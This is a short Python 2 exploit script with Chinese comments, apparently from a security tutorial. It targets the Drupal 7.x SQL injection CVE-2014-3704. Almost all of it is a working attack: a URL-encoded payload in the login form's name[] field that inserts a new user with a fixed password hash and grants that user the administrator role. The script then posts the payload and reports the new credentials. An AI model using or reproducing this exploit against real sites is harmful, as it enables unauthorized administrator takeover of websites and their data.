print "[+] Attempting CVE-2014-3704 Drupal 7.x SQLi"
user=raw_input("Username to add: ") # 獲取輸入的username和password
Host = URL.split('/')[2] # 從URL解析主機名: 'http://<host>/' 而且賦值給Host <host>
headers = { # 定義響應頭部
'Host': Host,
'User-Agent': 'Mozilla',
'Connection': 'keep-alive'}
#提交的格式化後的SQL:
# insert into users (uid, name, pass, mail, status) select max(uid)+1, '"+user+"', '[password_hash]', 'email@gmail.com', 1 from users; insert into users_roles (uid, rid) VALUES ((select uid from users where name='"+user+"'), (select rid from role where name = 'administrator')
data = "name%5b0%20%3binsert%20into%20users%20%28uid%2c%20name%2c%20pass%2c%20mail%2c%20status%29%20select%20max%28uid%29%2b1%2c%20%27"+user+"%27%2c%20%27%24S%24$S$CTo9G7Lx27gCe3dTBYhLhZOTqtJrlc7n31BjHl/aWgfK82GIACiTExGY3A9yrK1l3DdUONFFv8xV8SH9wr4r23HJauz47c/%27%2c%20%27email%40gmail.com%27%2c%201%20from%20users%3b%20insert%20into%20users_roles%20%28uid%2c%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3d%27"+user+"%27%29%2c%20%28select%20rid%20from%20role%20where%20name%20%3d%20%27administrator%27%29%29%3b%3b%20%23%20%5d=zRGAcKznoV&name%5b0%5d=aYxxuroJbo&pass=lGiEbjpEGm&form_build_id=form-5gCSidRr8NruKFEYt3eunbFEhLCfJaGuqGAnu80Vv0M&form_id=user_login_block&op=Log%20in"
req = urllib2.Request(URL+"?q=node&destination=node", data, headers)
try: # 使用Try/Except處理響應信息
response = urllib2.urlopen(req) # 發起請求
print "Account created with user: "+user+" and password: password"
except Exception as e: print e
參考:
https://github.com/smartFlash/pySecurity
http://www.primalsecurity.net/tutorials/python-tutorialsmysql